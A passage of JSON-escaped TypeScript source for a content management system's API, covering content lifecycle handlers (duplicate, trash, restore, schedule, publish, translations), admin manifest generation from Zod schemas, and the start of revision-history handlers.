\"CONTENT_UPDATE_ERROR\",\n\t\t\t\tmessage: \"Failed to update content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Duplicate content item.\n *\n * Only copies SEO data if the collection has SEO enabled.\n * Always returns consistent `seo` shape for SEO-enabled collections.\n */\nexport async function handleContentDuplicate(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n\tauthorId?: string,\n): Promise<ApiResult<{ item: ContentItem }>> {\n\ttry {\n\t\tconst hasSeo = await collectionHasSeo(db, collection);\n\n\t\t// Wrap duplicate + SEO copy in a transaction for atomicity\n\t\tconst duplicate = await withTransaction(db, async (trx) => {\n\t\t\tconst repo = new ContentRepository(trx);\n\t\t\tconst bylineRepo = new BylineRepository(trx);\n\t\t\tconst resolvedId = (await resolveId(repo, collection, id)) ?? id;\n\t\t\tconst dup = await repo.duplicate(collection, resolvedId, authorId);\n\n\t\t\tconst existingBylines = await bylineRepo.getContentBylines(collection, resolvedId);\n\t\t\tif (existingBylines.length > 0) {\n\t\t\t\tawait bylineRepo.setContentBylines(\n\t\t\t\t\tcollection,\n\t\t\t\t\tdup.id,\n\t\t\t\t\texistingBylines.map((entry) => ({\n\t\t\t\t\t\tbylineId: entry.byline.id,\n\t\t\t\t\t\troleLabel: entry.roleLabel,\n\t\t\t\t\t})),\n\t\t\t\t);\n\t\t\t}\n\n\t\t\tif (hasSeo) {\n\t\t\t\t// Copy SEO data from the original (clears canonical)\n\t\t\t\tconst seoRepo = new SeoRepository(trx);\n\t\t\t\tawait seoRepo.copyForDuplicate(collection, resolvedId, dup.id);\n\t\t\t\t// Always hydrate SEO for consistent response shape\n\t\t\t\tdup.seo = await seoRepo.get(collection, dup.id);\n\t\t\t}\n\n\t\t\tawait hydrateBylines(trx, collection, dup);\n\n\t\t\treturn dup;\n\t\t});\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item: duplicate },\n\t\t};\n\t} catch (err) {\n\t\tif (err instanceof EmDashValidationError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: err.message,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Content duplicate error:\", err);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_DUPLICATE_ERROR\",\n\t\t\t\tmessage: \"Failed to duplicate content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Delete content item (soft delete - moves to trash)\n */\nexport async function handleContentDelete(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n): Promise<ApiResult<{ deleted: true }>> {\n\ttry {\n\t\tconst deleted = await withTransaction(db, async (trx) => {\n\t\t\tconst repo = new ContentRepository(trx);\n\t\t\tconst resolvedId = (await resolveId(repo, collection, id)) ?? id;\n\t\t\treturn repo.delete(collection, resolvedId);\n\t\t});\n\n\t\tif (!deleted) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Content item not found: ${id}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { deleted: true },\n\t\t};\n\t} catch (error) {\n\t\tconsole.error(\"Content delete error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_DELETE_ERROR\",\n\t\t\t\tmessage: \"Failed to delete content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Restore content item from trash\n */\nexport async function handleContentRestore(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n): Promise<ApiResult<{ restored: true }>> {\n\ttry {\n\t\tconst restored = await withTransaction(db, async (trx) => {\n\t\t\tconst repo = new ContentRepository(trx);\n\t\t\tconst resolvedId = (await resolveIdIncludingTrashed(repo, collection, id)) ?? id;\n\t\t\treturn repo.restore(collection, resolvedId);\n\t\t});\n\n\t\tif (!restored) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Trashed content item not found: ${id}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { restored: true },\n\t\t};\n\t} catch (error) {\n\t\tconsole.error(\"Content restore error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_RESTORE_ERROR\",\n\t\t\t\tmessage: \"Failed to restore content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Permanently delete content item (cannot be undone).\n * Also cleans up associated SEO data.\n */\nexport async function handleContentPermanentDelete(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n): Promise<ApiResult<{ deleted: true }>> {\n\ttry {\n\t\tconst repo = new ContentRepository(db);\n\t\tconst resolvedId = (await resolveIdIncludingTrashed(repo, collection, id)) ?? id;\n\n\t\t// Wrap content delete + SEO/comment cleanup in a transaction\n\t\tconst deleted = await withTransaction(db, async (trx) => {\n\t\t\tconst trxRepo = new ContentRepository(trx);\n\t\t\tconst wasDeleted = await trxRepo.permanentDelete(collection, resolvedId);\n\n\t\t\tif (wasDeleted) {\n\t\t\t\t// Clean up SEO data for permanently deleted content\n\t\t\t\tconst seoRepo = new SeoRepository(trx);\n\t\t\t\tawait seoRepo.delete(collection, resolvedId);\n\t\t\t\t// Clean up comments for permanently deleted content\n\t\t\t\tconst commentRepo = new CommentRepository(trx);\n\t\t\t\tawait commentRepo.deleteByContent(collection, resolvedId);\n\t\t\t\t// Clean up revisions for permanently deleted content\n\t\t\t\tconst revisionRepo = new RevisionRepository(trx);\n\t\t\t\tawait revisionRepo.deleteByEntry(collection, resolvedId);\n\t\t\t}\n\n\t\t\treturn wasDeleted;\n\t\t});\n\n\t\tif (!deleted) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Content item not found: ${id}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { deleted: true },\n\t\t};\n\t} catch (error) {\n\t\tconsole.error(\"Content permanent delete error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_DELETE_ERROR\",\n\t\t\t\tmessage: \"Failed to permanently delete content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * List trashed content items\n */\nexport async function handleContentListTrashed(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\toptions: { limit?: number; cursor?: string } = {},\n): Promise<ApiResult<{ items: TrashedContentItem[]; nextCursor?: string }>> {\n\ttry {\n\t\tconst repo = new ContentRepository(db);\n\t\tconst result = await repo.findTrashed(collection, {\n\t\t\tlimit: options.limit,\n\t\t\tcursor: options.cursor,\n\t\t});\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: {\n\t\t\t\titems: result.items.map((item) => ({\n\t\t\t\t\tid: item.id,\n\t\t\t\t\ttype: item.type,\n\t\t\t\t\tslug: item.slug,\n\t\t\t\t\tstatus: item.status,\n\t\t\t\t\tdata: item.data,\n\t\t\t\t\tauthorId: item.authorId,\n\t\t\t\t\tcreatedAt: item.createdAt,\n\t\t\t\t\tupdatedAt: item.updatedAt,\n\t\t\t\t\tpublishedAt: item.publishedAt,\n\t\t\t\t\tdeletedAt: item.deletedAt,\n\t\t\t\t})),\n\t\t\t\tnextCursor: result.nextCursor,\n\t\t\t},\n\t\t};\n\t} catch (error) {\n\t\tif (error instanceof InvalidCursorError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"INVALID_CURSOR\", message: error.message },\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Content list trashed error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_LIST_ERROR\",\n\t\t\t\tmessage: \"Failed to list trashed content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Count trashed content items\n */\nexport async function handleContentCountTrashed(\n\tdb: Kysely<Database>,\n\tcollection: string,\n): Promise<ApiResult<{ count: number }>> {\n\ttry {\n\t\tconst repo = new ContentRepository(db);\n\t\tconst count = await repo.countTrashed(collection);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { count },\n\t\t};\n\t} catch (error) {\n\t\tconsole.error(\"Content count trashed error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_COUNT_ERROR\",\n\t\t\t\tmessage: \"Failed to count trashed content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Schedule content for future publishing\n */\nexport async function handleContentSchedule(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n\tscheduledAt: string,\n): Promise<ApiResult<ContentResponse>> {\n\ttry {\n\t\tconst item = await withTransaction(db, async (trx) => {\n\t\t\tconst repo = new ContentRepository(trx);\n\t\t\tconst resolvedId = (await resolveId(repo, collection, id)) ?? id;\n\t\t\treturn repo.schedule(collection, resolvedId, scheduledAt);\n\t\t});\n\n\t\tconst hasSeo = await collectionHasSeo(db, collection);\n\t\tawait hydrateSeo(db, collection, item, hasSeo);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item },\n\t\t};\n\t} catch (error) {\n\t\tif (error instanceof EmDashValidationError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"VALIDATION_ERROR\",\n\t\t\t\t\tmessage: error.message,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Content schedule error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_SCHEDULE_ERROR\",\n\t\t\t\tmessage: \"Failed to schedule content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Unschedule content (revert to draft)\n */\nexport async function handleContentUnschedule(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n): Promise<ApiResult<ContentResponse>> {\n\ttry {\n\t\tconst item = await withTransaction(db, async (trx) => {\n\t\t\tconst repo = new ContentRepository(trx);\n\t\t\tconst resolvedId = (await resolveId(repo, collection, id)) ?? id;\n\t\t\treturn repo.unschedule(collection, resolvedId);\n\t\t});\n\n\t\tconst hasSeo = await collectionHasSeo(db, collection);\n\t\tawait hydrateSeo(db, collection, item, hasSeo);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item },\n\t\t};\n\t} catch (error) {\n\t\tif (error instanceof EmDashValidationError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"VALIDATION_ERROR\",\n\t\t\t\t\tmessage: error.message,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Content unschedule error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_UNSCHEDULE_ERROR\",\n\t\t\t\tmessage: \"Failed to unschedule content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Publish content immediately.\n *\n * Wrapped in a transaction because publish performs multiple writes\n * (syncDataColumns, slug sync, status/revision update) that must\n * be atomic to prevent FTS shadow table corruption on crash.\n */\nexport async function handleContentPublish(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n\toptions: { publishedAt?: string } = {},\n): Promise<ApiResult<ContentResponse>> {\n\ttry {\n\t\tconst item = await withTransaction(db, async (trx) => {\n\t\t\tconst repo = new ContentRepository(trx);\n\t\t\tconst resolvedId = (await resolveId(repo, collection, id)) ?? id;\n\t\t\treturn repo.publish(collection, resolvedId, options.publishedAt);\n\t\t});\n\n\t\tconst hasSeo = await collectionHasSeo(db, collection);\n\t\tawait hydrateSeo(db, collection, item, hasSeo);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item },\n\t\t};\n\t} catch (error) {\n\t\tif (error instanceof EmDashValidationError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"VALIDATION_ERROR\",\n\t\t\t\t\tmessage: error.message,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Content publish error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_PUBLISH_ERROR\",\n\t\t\t\tmessage: \"Failed to publish content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Unpublish content (revert to draft).\n *\n * Wrapped in a transaction — unpublish may create a draft revision\n * from the live version then update the status, which is multi-step.\n */\nexport async function handleContentUnpublish(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n): Promise<ApiResult<ContentResponse>> {\n\ttry {\n\t\tconst item = await withTransaction(db, async (trx) => {\n\t\t\tconst repo = new ContentRepository(trx);\n\t\t\tconst resolvedId = (await resolveId(repo, collection, id)) ?? id;\n\t\t\treturn repo.unpublish(collection, resolvedId);\n\t\t});\n\n\t\tconst hasSeo = await collectionHasSeo(db, collection);\n\t\tawait hydrateSeo(db, collection, item, hasSeo);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item },\n\t\t};\n\t} catch (error) {\n\t\tif (error instanceof EmDashValidationError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"VALIDATION_ERROR\",\n\t\t\t\t\tmessage: error.message,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Content unpublish error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_UNPUBLISH_ERROR\",\n\t\t\t\tmessage: \"Failed to unpublish content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Count scheduled content items\n */\nexport async function handleContentCountScheduled(\n\tdb: Kysely<Database>,\n\tcollection: string,\n): Promise<ApiResult<{ count: number }>> {\n\ttry {\n\t\tconst repo = new ContentRepository(db);\n\t\tconst count = await repo.countScheduled(collection);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { count },\n\t\t};\n\t} catch (error) {\n\t\tconsole.error(\"Content count scheduled error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_COUNT_ERROR\",\n\t\t\t\tmessage: \"Failed to count scheduled content\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Discard draft changes (revert to live version)\n */\nexport async function handleContentDiscardDraft(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n): Promise<ApiResult<ContentResponse>> {\n\ttry {\n\t\tconst item = await withTransaction(db, async (trx) => {\n\t\t\tconst repo = new ContentRepository(trx);\n\t\t\tconst resolvedId = (await resolveId(repo, collection, id)) ?? id;\n\t\t\treturn repo.discardDraft(collection, resolvedId);\n\t\t});\n\n\t\tconst hasSeo = await collectionHasSeo(db, collection);\n\t\tawait hydrateSeo(db, collection, item, hasSeo);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item },\n\t\t};\n\t} catch (error) {\n\t\tif (error instanceof EmDashValidationError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: error.message,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\t\tconsole.error(\"Content discard draft error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_DISCARD_DRAFT_ERROR\",\n\t\t\t\tmessage: \"Failed to discard draft\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Compare live and draft revisions\n */\nexport async function handleContentCompare(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n): Promise<\n\tApiResult<{\n\t\thasChanges: boolean;\n\t\tlive: Record<string, unknown> | null;\n\t\tdraft: Record<string, unknown> | null;\n\t}>\n> {\n\ttry {\n\t\tconst repo = new ContentRepository(db);\n\t\tconst entry = await repo.findByIdOrSlug(collection, id);\n\n\t\tif (!entry) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Content item not found: ${id}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\tconst revisionRepo = new RevisionRepository(db);\n\n\t\tconst live = entry.liveRevisionId ? await revisionRepo.findById(entry.liveRevisionId) : null;\n\t\tconst draft = entry.draftRevisionId ? await revisionRepo.findById(entry.draftRevisionId) : null;\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: {\n\t\t\t\thasChanges:\n\t\t\t\t\tentry.draftRevisionId !== null && entry.draftRevisionId !== entry.liveRevisionId,\n\t\t\t\tlive: live?.data ?? null,\n\t\t\t\tdraft: draft?.data ?? null,\n\t\t\t},\n\t\t};\n\t} catch (error) {\n\t\tconsole.error(\"Content compare error:\", error);\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_COMPARE_ERROR\",\n\t\t\t\tmessage: \"Failed to compare revisions\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Get all translations for a content item.\n * Returns the item's translation group members with locale and status info.\n */\nexport async function handleContentTranslations(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tid: string,\n): Promise<\n\tApiResult<{\n\t\ttranslationGroup: string;\n\t\ttranslations: Array<{\n\t\t\tid: string;\n\t\t\tlocale: string | null;\n\t\t\tslug: string | null;\n\t\t\tstatus: string;\n\t\t\tupdatedAt: string;\n\t\t}>;\n\t}>\n> {\n\ttry {\n\t\tconst repo = new ContentRepository(db);\n\t\tconst item = await repo.findByIdOrSlug(collection, id);\n\n\t\tif (!item) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Content item not found: ${id}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\tif (!item.translationGroup) {\n\t\t\treturn {\n\t\t\t\tsuccess: true,\n\t\t\t\tdata: {\n\t\t\t\t\ttranslationGroup: item.id,\n\t\t\t\t\ttranslations: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tid: item.id,\n\t\t\t\t\t\t\tlocale: item.locale,\n\t\t\t\t\t\t\tslug: item.slug,\n\t\t\t\t\t\t\tstatus: item.status,\n\t\t\t\t\t\t\tupdatedAt: item.updatedAt,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\tconst translations = await repo.findTranslations(collection, item.translationGroup);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: {\n\t\t\t\ttranslationGroup: item.translationGroup,\n\t\t\t\ttranslations: translations.map((t) => ({\n\t\t\t\t\tid: t.id,\n\t\t\t\t\tlocale: t.locale,\n\t\t\t\t\tslug: t.slug,\n\t\t\t\t\tstatus: t.status,\n\t\t\t\t\tupdatedAt: t.updatedAt,\n\t\t\t\t})),\n\t\t\t},\n\t\t};\n\t} catch (error) {\n\t\tif (error instanceof Error) {\n\t\t\tconsole.error(\"Content translations error:\", error);\n\t\t}\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"CONTENT_TRANSLATIONS_ERROR\",\n\t\t\t\tmessage: \"Failed to get translations\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n// ---------------------------------------------------------------------------\n// Non-translatable field sync\n// ---------------------------------------------------------------------------\n\n/**\n * Sync non-translatable fields to sibling locales.\n *\n * When a content item is updated and it belongs to a translation group,\n * any non-translatable fields in the update data are written to all other\n * rows in the same translation group within the same transaction.\n *\n * Non-translatable fields are **copied, not linked** — each row owns its\n * own data. This keeps queries simple and avoids cross-row joins.\n */\nasync function syncNonTranslatableFields(\n\ttrx: Kysely<Database>,\n\tcollectionSlug: string,\n\tupdatedItemId: string,\n\ttranslationGroup: string,\n\tdata: Record<string, unknown>,\n): Promise<void> {\n\t// Get the collection to find its fields\n\tconst collection = await trx\n\t\t.selectFrom(\"_emdash_collections\")\n\t\t.select(\"id\")\n\t\t.where(\"slug\", \"=\", collectionSlug)\n\t\t.executeTakeFirst();\n\n\tif (!collection) return;\n\n\t// Find non-translatable fields that are present in the update data\n\tconst fields = await trx\n\t\t.selectFrom(\"_emdash_fields\")\n\t\t.select(\"slug\")\n\t\t.where(\"collection_id\", \"=\", collection.id)\n\t\t.where(\"translatable\", \"=\", 0)\n\t\t.execute();\n\n\tconst nonTranslatableSlugs = fields.map((f) => f.slug);\n\tif (nonTranslatableSlugs.length === 0) return;\n\n\t// Filter to only the non-translatable fields present in this update\n\tconst syncData: Record<string, unknown> = {};\n\tfor (const slug of nonTranslatableSlugs) {\n\t\tif (slug in data) {\n\t\t\tsyncData[slug] = data[slug];\n\t\t}\n\t}\n\tif (Object.keys(syncData).length === 0) return;\n\n\t// Build the SET clause for sibling rows\n\tvalidateIdentifier(collectionSlug, \"collection slug\");\n\tconst tableName = `ec_${collectionSlug}`;\n\n\t// Update all sibling rows (same translation_group, different id)\n\tconst setClauses = Object.entries(syncData).map(([key, value]) => {\n\t\tvalidateIdentifier(key, \"field slug\");\n\t\tconst serialized = typeof value === \"object\" && value !== null ? JSON.stringify(value) : value;\n\t\treturn sql`${sql.ref(key)} = ${serialized}`;\n\t});\n\n\tawait sql`\n\t\tUPDATE ${sql.ref(tableName)}\n\t\tSET ${sql.join(setClauses, sql`, `)}\n\t\tWHERE translation_group = ${translationGroup}\n\t\tAND id != ${updatedItemId}\n\t`.execute(trx);\n}\n","/**\n * Manifest generation handlers\n */\n\nimport { hashString } from \"../../utils/hash.js\";\nimport type { ManifestResponse, FieldDescriptor } from \"../types.js\";\n\n/** Pattern to add spaces before capital letters */\nconst CAMEL_CASE_PATTERN = /([A-Z])/g;\nconst FIRST_CHAR_PATTERN = /^./;\n\n// Collection definition shape for manifest generation\ninterface CollectionDefinition {\n\tschema: {\n\t\t_def?: { shape?: () => Record<string, unknown> };\n\t\tshape?: Record<string, unknown>;\n\t};\n\tadmin: {\n\t\tlabel: string;\n\t\tlabelSingular?: string;\n\t\tsupports?: string[];\n\t};\n}\ntype CollectionMap = Record<string, CollectionDefinition>;\n\n/**\n * Generate admin manifest from collections\n */\nexport async function generateManifest(\n\tcollections: CollectionMap,\n\tplugins: Record<\n\t\tstring,\n\t\t{\n\t\t\tadminPages?: Array<{ path: string; component: string }>;\n\t\t\twidgets?: string[];\n\t\t}\n\t> = {},\n): Promise<ManifestResponse> {\n\tconst manifestCollections: ManifestResponse[\"collections\"] = {};\n\n\tfor (const [name, definition] of Object.entries(collections)) {\n\t\t// Extract field descriptors from Zod schema\n\t\tconst fields = extractFieldDescriptors(definition.schema);\n\n\t\tmanifestCollections[name] = {\n\t\t\tlabel: definition.admin.label,\n\t\t\tlabelSingular: definition.admin.labelSingular || definition.admin.label,\n\t\t\tsupports: definition.admin.supports || [],\n\t\t\tfields,\n\t\t};\n\t}\n\n\t// Generate hash from collections (for cache invalidation)\n\tconst hash = await hashString(JSON.stringify(manifestCollections));\n\n\treturn {\n\t\tversion: \"0.1.0\",\n\t\thash,\n\t\tcollections: manifestCollections,\n\t\tplugins,\n\t};\n}\n\n/**\n * Extract field descriptors from Zod schema\n * Note: This is a simplified implementation that handles common types\n */\nfunction extractFieldDescriptors(schema: {\n\t_def?: { shape?: () => Record<string, unknown> };\n\tshape?: Record<string, unknown>;\n}): Record<string, FieldDescriptor> {\n\tconst fields: Record<string, FieldDescriptor> = {};\n\n\t// Handle Zod object schema\n\tconst shape = typeof schema._def?.shape === \"function\" ? schema._def.shape() : schema.shape || {};\n\n\tfor (const [name, fieldSchema] of Object.entries(shape)) {\n\t\tfields[name] = extractFieldType(name, fieldSchema);\n\t}\n\n\treturn fields;\n}\n\n/**\n * Extract field type from Zod schema\n */\n/** Type guard: check if a value is a non-null object */\nfunction isObject(value: unknown): value is Record<string, unknown> {\n\treturn typeof value === \"object\" && value !== null;\n}\n\nfunction extractFieldType(name: string, schema: unknown): FieldDescriptor {\n\tif (!isObject(schema)) {\n\t\treturn { kind: \"string\", label: formatLabel(name) };\n\t}\n\n\t// Check for custom field markers\n\tif (schema.isPortableText) {\n\t\treturn { kind: \"portableText\", label: formatLabel(name) };\n\t}\n\tif (schema.isImage) {\n\t\treturn { kind: \"image\", label: formatLabel(name) };\n\t}\n\tif (schema.isReference) {\n\t\treturn { kind: \"reference\", label: formatLabel(name) };\n\t}\n\n\t// Handle standard Zod types\n\tconst def = isObject(schema._def) ? schema._def : undefined;\n\tconst typeName = typeof def?.typeName === \"string\" ? def.typeName : undefined;\n\n\tswitch (typeName) {\n\t\tcase \"ZodString\":\n\t\t\treturn { kind: \"string\", label: formatLabel(name) };\n\t\tcase \"ZodNumber\":\n\t\t\treturn { kind: \"number\", label: formatLabel(name) };\n\t\tcase \"ZodBoolean\":\n\t\t\treturn { kind: \"boolean\", label: formatLabel(name) };\n\t\tcase \"ZodDate\":\n\t\t\treturn { kind: \"datetime\", label: formatLabel(name) };\n\t\tcase \"ZodEnum\": {\n\t\t\tconst values = Array.isArray(def?.values) ? def.values : [];\n\t\t\treturn {\n\t\t\t\tkind: \"select\",\n\t\t\t\tlabel: formatLabel(name),\n\t\t\t\toptions: values\n\t\t\t\t\t.filter((v): v is string => typeof v === \"string\")\n\t\t\t\t\t.map((v) => ({\n\t\t\t\t\t\tvalue: v,\n\t\t\t\t\t\tlabel: v.charAt(0).toUpperCase() + v.slice(1),\n\t\t\t\t\t})),\n\t\t\t};\n\t\t}\n\t\tcase \"ZodArray\":\n\t\t\treturn { kind: \"array\", label: formatLabel(name) };\n\t\tcase \"ZodObject\":\n\t\t\treturn { kind: \"object\", label: formatLabel(name) };\n\t\tcase \"ZodOptional\":\n\t\tcase \"ZodDefault\":\n\t\t\t// Unwrap optional/default types\n\t\t\tif (def?.innerType) {\n\t\t\t\treturn extractFieldType(name, def.innerType);\n\t\t\t}\n\t\t\treturn { kind: \"string\", label: formatLabel(name) };\n\t\tdefault:\n\t\t\treturn { kind: \"string\", label: formatLabel(name) };\n\t}\n}\n\n/**\n * Format field name as label\n */\nfunction formatLabel(name: string): string {\n\treturn name\n\t\t.replace(CAMEL_CASE_PATTERN, \" $1\")\n\t\t.replace(FIRST_CHAR_PATTERN, (str) => str.toUpperCase())\n\t\t.trim();\n}\n","/**\n * Revision history handlers\n */\n\nimport type { Kysely } from \"kysely\";\n\nimport { ContentRepository } from \"../../database/repositories/content.js\";\nimport { RevisionRepository, type Revision } from \"../../database/repositories/revision.js\";\nimport { withTransaction } from \"../../database/transaction.js\";\nimport type { Database } from \"../../database/types.js\";\nimport type { ApiResult, ContentResponse } from \"../types.js\";\n\nexport interface RevisionListResponse {\n\titems: Revision[];\n\ttotal: number;\n}\n\nexport interface RevisionResponse {\n\titem: Revision;\n}\n\n/**\n * List revisions for a content entry\n */\nexport async function handleRevisionList(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tentryId: string,\n\tparams: { limit?: number } = {},\n): Promise<ApiResult<RevisionListResponse>> {\n\ttry {\n\t\tconst repo = new RevisionRepository(db);\n\t\tconst [items, total] = await Promise.all([\n\t\t\trepo.findByEntry(collection, entryId, { limit: Math.min(params.limit || 50, 100) }),\n\t\t\trepo.countByEntry(collection, entryId),\n\t\t]);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { items, total },\n\t\t};\n\t} catch {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"REVISION_LIST_ERROR\",\n\t\t\t\tmessage: \"Failed to list revisions\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Get a specific revision\n */\nexport async function handleRevisionGet(\n\tdb: Kysely<Database>,\n\trevisionId: string,\n): Promise<ApiResult<RevisionResponse>> {\n\ttry {\n\t\tconst repo = new RevisionRepository(db);\n\t\tconst item = await repo.findById(revisionId);\n\n\t\tif (!item) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Revision not found: ${revisionId}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item },\n\t\t};\n\t} catch {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"REVISION_GET_ERROR\",\n\t\t\t\tmessage: \"Failed to get revision\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Restore a revision (updates content to this revision's data and creates new revision)\n */\nexport async function handleRevisionRestore(\n\tdb: Kysely<Database>,\n\trevisionId: string,\n\tcallerUserId: string,\n): Promise<ApiResult<ContentResponse>> {\n\ttry {\n\t\tconst revisionRepo = new RevisionRepository(db);\n\n\t\t// Get the revision\n\t\tconst revision = await revisionRepo.findById(revisionId);\n\t\tif (!revision) 